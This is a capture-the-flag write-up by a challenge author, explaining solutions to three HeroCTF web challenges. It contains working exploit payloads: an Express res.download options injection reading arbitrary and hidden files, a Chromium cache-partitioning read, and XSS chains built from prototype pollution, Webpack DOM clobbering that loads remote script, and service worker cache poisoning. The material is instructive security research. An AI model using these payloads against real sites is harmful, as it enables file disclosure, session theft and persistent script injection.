These write-ups only focus on the challenges I faced during the CTF. If you want to see other write-ups, they are available here.
Difficulty: 383 points | 52 solves
Description: Discover SampleHub, the ultimate online repository for accessing a vast collection of sample files. With user-friendly navigation, and robust search features, SampleHub makes it easy to browse, access, and download files efficiently.
Author: Me
The source code for this challenge is quite small and involves only two user-controlled parameters, both used in the res.download method:
const express = require("express");
const path = require("path");
const app = express();
const PORT = 3000;
app.use(express.static(path.join(__dirname, "public")));
app.set("view engine", "ejs");
app.set("views", path.join(__dirname, "views"));
app.get("/", (req, res) => {
res.render("index");
});
process.chdir(path.join(__dirname, "samples"));
app.get("/download/:file", (req, res) => {
const file = path.basename(req.params.file); // HERE
res.download(file, req.query.filename || "sample.png", (err) => { // HERE
if (err) {
res.status(404).send(`File "${file}" not found`);
}
});
});
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});
Fig. 1: Source code of the SampleHub challenge.
Looking into the documentation, here's what we can find about the Express res.download method:
Fig. 2: Express documentation about res.download options.
As written, the first argument (req.params.file) is supposed to be the path of the file to read. Because our input is sanitized using path.basename, nothing outside the current working directory can be read from this parameter. Additionally, the second argument is meant to represent the Content-Disposition: filename= value.
Therefore, something not mentioned in the documentation is that if the second argument is not a string but an object, it will be interpreted as the options parameter.
res.download = function download (path, filename, options, callback) {
var done = callback;
var name = filename;
var opts = options || null
// ...
// support optional filename, where options may be in it's place
if (typeof filename === 'object' &&
(typeof options === 'function' || options === undefined)) {
name = null
opts = filename
}
// ...
Fig. 3: Express res.download source code.
Thanks to that, it is possible to control various options:
Fig. 4: Express documentation about res.download options.
Based on this, by using the root option with req.params.file, it is possible to read any file on the system.
Fig. 5: Leak of the /etc/passwd file.
Unfortunately, this isn't enough to solve the challenge, as the .flag.txt file is hidden and those files aren't authorized by default. To override this restriction, we can utilize some of the options from send that we also control with req.query.filename.
res.sendFile = function sendFile(path, options, callback) {
// ...
var file = send(req, pathname, opts); // HERE
};
res.download = function download (path, filename, options, callback) {
// ...
return this.sendFile(fullPath, opts, done)
};
Fig. 6: Express res.sendFile source code.
Of all the available options, one perfectly matched our restrictions :)
function SendStream (req, path, options) {
// ...
this._dotfiles = opts.dotfiles !== undefined
? opts.dotfiles
: 'ignore'
Fig. 7: Source code of the send library.
Getting the flag:
Fig. 8: SampleHub's flag.
Difficulty: 493 points | 14 solves
Description: I heard about an old tricks related to CORS that doesn't include 'Access-Control-Allow-Credentials', but I can't remember how it works. Can you help me?
Tip: Using other web challenges is required to solve this one :)
Author: Me
For this challenge sources were short as well.
from flask import Flask, request, Response
app = Flask(__name__)
@app.get("/")
def index():
res = Response(request.cookies.get("FLAG") if request.cookies.get("FLAG") else "Not authenticated!")
res.headers["Access-Control-Allow-Origin"] = "*"
return res
app.run("0.0.0.0", 8000)
Fig. 9: Source code of the Cache Cache challenge.
Essentialy, to solve this challenge, you had to start with a vulnerability found by @BitK_ back in 2019.
As stated in the Chromium report, this issue has been mitigated by the new Chromium with double-keyed cache partitioning. Basically, this cache takes 3 parameters to create the key:
Fig. 10: Chromium HTTP cache partitioning.
Therefore, something interesting about this in Chromium is that it doesn't take the initiator of the request when handling the cache. Why? Because if we fetch() a resource already loaded by an <img> on the same page using fetch(), it will be possible to load the response from the cache!
Thanks to this, we can emit an unauthenticated request with fetch(), resulting in an authenticated response from the cache (as long as cookies are sent by the <img>).
<img src="http://cache-cache.heroctf.fr:5100/">
<script>;
fetch("http://cache-cache.heroctf.fr:5100/", {
method: "GET",
cache: "force-cache"
}).then(d => d.text()).then((d) => {
alert(d)
})
</script>
Fig. 11: Example of chromium's HTTP cache partitioning abuse.
The only restrictions for this to work are:
In the context of the challenge, cookies were set to Strict, making this impossible to exploit cross-site.
try {
await page.goto(url);
} catch {}
await delay(5000);
logMainInfo("Going to the /flag page...");
await page.setCookie({
name: "FLAG",
value: process.env.FLAG,
path: "/",
httpOnly: true,
samesite: "Strict",
domain: "underconstruction_web"
});
await page.goto("http://underconstruction_web:8000/flag");
await delay(3000);
Fig. 12: Cache Cache bot's FLAG cookies flags.
Therefore, as it was written in the challenge description, other challenges were part of this challenge too! This means that finding an XSS on a same-site should make this exploitable :D
There were several XSS vulnerabilities to be found. For instance, one of them was present on Sample Hub on the /download/ endpoint: http://web.heroctf.fr:5300/download/%3Cimg%20src=x%20onerror=alert()%3E.
Getting the flag:
echo "http://web.heroctf.fr:5300/download/%3Ciframe%20srcdoc=%22%3Cimg%20src='http://cache-cache.heroctf.fr:5100/'%3E%3Cscript%3EsetTimeout(()%20=%3E%7Bfetch('http://cache-cache.heroctf.fr:5100/',%7Bmethod:%20'GET',cache:%20'force-cache'%20%7D).then(d=%3Ed.text()).then(console.log);%7D,500);%3C/script%3E%22%3E" | nc cache-cache.heroctf.fr 5101
Fig. 13: Cache Cache's flag..
If you are interested in the Docker bot I've developed for this CTF, take a look here :p
Small note: Because the first two parts of the key use the current eTLD+1, the cache is shared in a same-site context on Chromium, allowing this challenge to be solved without using <img>:
window.open("http://cache-cache.heroctf.fr:5100/");
setTimeout(() => {
fetch("http://cache-cache.heroctf.fr:5100/", {
method: "GET",
cache: "force-cache"
}).then(response => response.text()).then(body => console.log(body))
}, 2000);
Fig. 14: Alternative solution (found by @__owne__, and probably several players).
🔥 Very Hard | Under Construction
Difficulty: 500 points | 1 solves (unintended) | 0 solve (intended)
Description: Every piece has its purpose, and only when all are placed together does the full picture reveal itself.
Author: Me
This time, the challenge involved a "lot" of technology!
Fig. 15: Simplified Under Construction’s infrastructure.
Fig. 16: List of Under Construction's files.
In all the provided files, this is the important information to know before diving into the challenge details:
location /flag {
if ($is_bot = 0) {
return 403 "Forbidden";
}
return 200 "{FLAG}";
}
Fig. 17: Location of the flag in the nginx configuration.
try {
await page.goto(url);
} catch {}
await delay(5000);
logMainInfo("Going to the /flag page...");
await page.setCookie({
name: "FLAG",
value: process.env.FLAG,
path: "/",
httpOnly: true,
samesite: "Strict",
domain: "underconstruction_web"
});
await page.goto("http://underconstruction_web:8000/flag");
await delay(3000);
Fig. 18: Bot source code related to the flag access.
if ("serviceWorker" in navigator) {
navigator.serviceWorker.register("/c/sw.js", { scope: "/c/" });
}
Fig. 19: Service worker scope.
if ((new URL(event.request.url).pathname).startsWith("/c/static/")) {
var clonedRes = res.clone();
caches.open(CACHE_NAME).then((cache) => {
cache.put(event.request, new Response(clonedRes.body, { headers: clonedRes.headers }));
});
}
Fig. 20: Service worker .
As for this challenge, there were many small bugs to be found. I'll describe each one before explaining how to build a chain out of them!
In the HaProxy Lua service, the path is decoded to ensure no .. is present, and then txn.http:req_set_path(path) is used to overwrite the request path if nothing malicious has been found. Because of this, the Nginx server receives a decoded version of the request path.
/* ... */
core.register_action("security", { "http-req" }, function(txn)
local path = txn.sf:path()
path = url_decode(path) /* HERE */
if path:find("..", 1, true) then
txn.http:req_set_path("/403.html")
return
end
txn.http:req_set_path(path) /* HERE */
end)
Fig. 21: HaProxy custom lua module source code.
In the Nginx configuration, rewrite is used to remove /c/ from the path before proxying it to the backend, leading to the path being decoded one more time.
location /c/ {
rewrite ^/c/(.*)$ /$1 break;
proxy_pass http://127.0.0.1:80;
}
Fig. 22: Fragment of the Nginx's configuration file.
The index.php file returns several inputs in a script using json_encode.
<script id="userInfo">
<?= json_encode(array_merge([
"ip" => $_SERVER["HTTP_X_REAL_IP"],
"date" => date("Y-m-d H:i:s"),
"user-agent" => $_SERVER["HTTP_USER_AGENT"]
], $_GET)) ?>
</script>
Fig. 23: Reflected input in the index.php file.
The debugLevel GET parameter is used to instantiate the defaultData object. Here, proto can be used to store the object prototype in the defaultData.debugLevel attribute.
const debugLevels = { 0:"DEBUG", 1:"INFO", 2:"NOTICE", 3:"WARNING", 4:"ERROR", 5:"CRITICAL", 6:"ALERT", 7:"EMERGENCY" };
function initDefaultData() {
var defaultData = Object.create(null);
defaultData.debugLevel = debugLevels[params.get("debugLevel") || 0];
return defaultData;
}
Fig. 24: Initialization of the defaultData variable.
Then, the defaultData object is deep merged with the user-controlled JSON. Even if proto and constructor keys are forbidden, thanks to the object prototype value stored in debugLevel, it is possible to achieve prototype pollution by exploiting it.
function deepMerge(target, source) {
for (const key of Object.keys(source)) {
if (key === "__proto__" || key === "constructor") {
continue;
}
if (source[key] && typeof source[key] === "object" && !Array.isArray(source[key])) {
if (!target[key] || typeof target[key] !== "object") {
target[key] = {};
}
deepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
Fig. 25: Source code of the deepMerge function.
The only problem is that debugLevel has to be an object and the proto string. To make this possible, it was necessary to exploit the fact that PHP (which creates the JSON) takes the second query value, while JavaScript takes the first one.
https://underconstruction.heroctf.fr:5200/c/?debugLevel=__proto__&debugLevel[polluted]=true
Fig. 26: Prototype pollution with parameter pollution.
Service Worker | Insecure Cache API usage
In the sw.js file, to store the responses in the Cache API, it recreates a response object with the response headers and body. Because of this, the response status code isn't taken into account, while only 200 should normally be cacheable.
return fetch(event.request).then((res) => {
if ((new URL(event.request.url).pathname).startsWith("/c/static/")) {
var clonedRes = res.clone();
caches.open(CACHE_NAME).then((cache) => {
cache.put(event.request, new Response(clonedRes.body, { headers: clonedRes.headers }));
});
}
return res;
});
Fig. 27: Service worker improper response handling.
Something interesting (or weird?) is that, by default, Apache allows the usage of the Range: bytes= header on any page that returns a 200 OK. Using this with the previous gadget allows for storing a truncated response of the index.php file, creating an HTML injection.
Fig. 28: Apache Range weird Range: bytes= header handling.
Webpack | GHSA-4vvj-4cpr-p986 "bypass"
In the webpack.config.js file, the publicPath: "auto" option was used, forcing Webpack to use the AutoPublicPathRuntimeModule. This module recently received a report involving a DOM clobbering issue:
<img name="currentScript" src="https://attacker.controlled.server/">
Fig. 29: Webpack's GHSA-4vvj-4cpr-p986.
This issue has been fixed by ensuring that document.currentScript is properly associated with a <script> tag. Therefore, if document.currentScript gets clobbered, it will take the src= of the last <script> on the page:
var scriptUrl;
scriptType === "module"
if (window.importScripts) scriptUrl = window.location + "";
var document = window.document;
if (!scriptUrl && document) {
if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT')
scriptUrl = document.currentScript.src;
if (!scriptUrl) {
var scripts = document.getElementsByTagName("script"); // HERE
if(scripts.length) {
var i = scripts.length - 1; // HERE
while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
}
}
if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\\?.*$/, "").replace(/\\/[^\\/]+$/, "/");
Fig. 30: Fix of Webpack's GHSA-4vvj-4cpr-p986 (ref).
Because of this, having a user-controlled <script> at the end of the document allows loading all the Webpack JavaScript files remotely. In the context of the challenge, even if the user input is located at the top of the document, it is possible to trick the <table> tag reordering to move our input to the bottom of the document.
<img name="currentScript"><table><script src="https://mizu.re/ctf-solutions/heroCTFv6-ac0247d4ebdc9b/"></script>
<div>
<script src="/c/static/bundle.js"></script>
</div>
Fig. 31: DOM Clobbering + HTML mutation XSS.
Service Worker | Hijacking through the cache API
Something I discovered recently is that the Cache API used by service workers is also exposed on the window object!
caches.keys().then(async (cacheKeys) => {
for (const key of cacheKeys) {
const cache = await caches.open(key);
const requests = await cache.keys();
console.log(`Cache Key: ${key}`);
for (const request of requests) {
console.log(' Request:', request.url);
}
}
})
Fig. 32: Accessing the Cache API from window.
Because of this, depending on how the Cache API is used by the service worker, it is possible to:
The duration of the cache depends on response headers like Cache-Control, etc.
In the context of the challenge, the service worker fetches the Cache API before making any fetch requests. Because of this, it is possible to poison any page within the range of the service worker.
self.addEventListener("fetch", (event) => {
event.respondWith(
caches.match(event.request).then((res) => {
if (res) {
console.log(`Loading from the cache: ${event.request.url}.`);
return res;
Fig. 33: Service worker Cache API handling.
Thanks to this, registering the /c/sw.js a second time using double URL encoding %2F is forbidden in the sw.js path (ref)) with /c%252fsw.js allows for poisoning the Cache API to achieve an XSS on /flag through the service worker :D
🔗 Chaining everything together
Now that we have in mind all the bugs that need to be found, here is the final chain to put in place:
<script>
const TARGET = location.hash.substring(1);
if (location.search === "?start") {
// Load the service worker
console.log("Loading the service worker.");
var target = open(`${TARGET}/c/`);
// Poison the service worker
setTimeout(() => {
console.log("Poisoning the service worker.");
target.location.href = `${TARGET}/c/?debugLevel=__proto__&debugLevel[headers][Range]=bytes=440-&debugLevel[loggingPath]=/c/static/xss/%25252E%25252E%252F%25252E%25252E%252Findex.php?a=%3Cimg%20name=currentScript%3E%3Ctable%3E%3Cscript%20src=https://mizu.re/ctf-solutions/heroCTFv6-ac0247d4ebdc9b/%3E%23`;
}, 1000);
// Trigger the XSS
setTimeout(() => {
console.log("Redirecting to the poisoning page.");
target.location.href = `${TARGET}/c/static/xss/%252E%252E%2F%252E%252E%2Findex.php?a=%3Cimg%20name=currentScript%3E%3Ctable%3E%3Cscript%20src=https://mizu.re/ctf-solutions/heroCTFv6-ac0247d4ebdc9b/%3E`;
}, 2000);
}
</script>
const poisonFlag = () => {
var payload = `<script>;
console.log("XSS triggered on /flag!");
// Clear all caches
console.log("Clearing all the Service Worker caches data.");
caches.keys().then((cacheNames) => {
cacheNames.forEach((cacheName) => {
caches.delete(cacheName);
});
});
// Get the flag
console.log("Fetching the flag.");
setTimeout(() => {
fetch("/flag").then(d => d.text()).then((d) => {
console.log(d);
})
}, 1000)
</script>`
console.log("Poisoning /flag.");
caches.keys().then(async (cacheKeys) => {
for (const key of cacheKeys) {
try {
const cache = await caches.open(key);
const req = new Request("/flag");
const res = new Response(payload, {
headers: { "Content-Type": "text/html" }
});
await cache.put(req, res);
} catch {}
}
});
console.log("Backdoor ready! :)");
}
console.log("XSS Triggered on the challenge domain!");
// Load a global service worker
navigator.serviceWorker.register("/c%252Fsw.js", { scope: "/" }).then(poisonFlag);
echo "http://mizu.re:8001/ctf-solutions/heroCTFv6-ac0247d4ebdc9b/index.html?start#http://underconstruction_web:8000" | nc localhost 55555
Fig. 34: Under Construction's flag.